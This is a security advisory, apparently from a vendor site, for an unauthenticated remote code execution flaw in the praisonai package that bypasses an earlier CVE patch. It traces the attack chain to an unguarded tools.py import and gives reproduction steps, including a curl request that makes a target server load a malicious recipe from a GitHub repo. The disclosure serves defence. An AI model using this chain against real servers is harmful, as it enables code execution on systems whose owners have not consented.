GHSA-xcmw-grxf-wjhj
HIGHGHSA-xcmw-grxf-wjhj is a high-severity (CVSS 8.4) remote code execution vulnerability in praisonai. O3 Security confirms whether GHSA-xcmw-grxf-wjhj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
TL;DR
CVE-2026-40287's fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.
Patch coverage gap
CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:
| File | Line | Gate |
|---|---|---|
praisonai/tool_resolver.py | 77 | if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true": |
praisonai/api/call.py | 80 | same |
But the equivalent sinks in praisonai/templates/tool_override.py were not patched:
# tool_override.py - create_tool_registry_with_overrides()
332 cwd_tools_py = Path.cwd() / "tools.py"
333 if cwd_tools_py.exists():
334 try:
335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module
336 registry.update(tools)
337 except Exception:
338 pass
339
341 # 4. Template-local tools.py
342 if template_dir:
343 tools_py = Path(template_dir) / "tools.py"
344 if tools_py.exists():
345 try:
346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module
347 registry.update(tools)
348 except Exception:
349 pass
load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.
Attack chain
HTTP POST /v1/recipes/run
body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
│
▼
recipe/serve.py:483 run_recipe(request) ← auth=none default
│
▼
recipe/core.py:215 recipe.run(name, ...)
│
▼
recipe/core.py:686 _load_recipe(name)
└─ ".." check only; absolute paths and URIs allowed
│
▼
templates/loader.py:94 TemplateLoader.load(uri)
│
▼
templates/security.py:130 is_source_allowed("github:*")
└─ allow_any_github=True default → returns True
│
▼
templates/registry.py fetch repo from raw.githubusercontent.com → cache dir
│
▼
templates/security.py:215 validate_template_directory(cached.path)
└─ .py is in allowed_extensions → tools.py kept
│
▼
recipe/core.py:887 _execute_recipe(recipe_config, ...)
│
▼
recipe/core.py:943 create_tool_registry_with_overrides(
include_defaults=True,
template_dir=recipe_config.path)
│
▼
templates/tool_override.py:341-349 load_from_file(template_dir/tools.py)
│
▼
templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE
The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.
Confirmed execution (2026-04-25, praisonai 4.6.31)
SERVER stdout (PID 43784):
Uvicorn running on http://127.0.0.1:8765
127.0.0.1 - POST /v1/recipes/run HTTP/1.1
[CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error
Marker file:
pid: 43784 ← matches server PID
argv: ['server.py'] ← server process, not exploit
The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.
Reproduction (local-path variant)
Files under pocs/praisonai-cve-2026-40287-bypass/:
- evil_recipe/TEMPLATE.yaml - minimal recipe metadata
- evil_recipe/tools.py - payload (writes a marker file in tempdir)
- server.py - starts
praisonai.recipe.serve.create_app({})on127.0.0.1:8765(defaultauth: none) - exploit.py - single POST to
/v1/recipes/run
pip install 'praisonai[serve]==4.6.31'
# Terminal 1
python server.py
# Terminal 2
python exploit.py
Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.
Reproduction (remote GitHub variant)
# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)
curl -X POST http://target:8765/v1/recipes/run \
-H 'Content-Type: application/json' \
-d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'
No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | ≥ 4.5.139&&< 4.6.32 | 4.6.32 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update praisonai to 4.6.32 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xcmw-grxf-wjhj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-xcmw-grxf-wjhj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-xcmw-grxf-wjhj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-xcmw-grxf-wjhj in your dependencies?
O3 detects GHSA-xcmw-grxf-wjhj across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.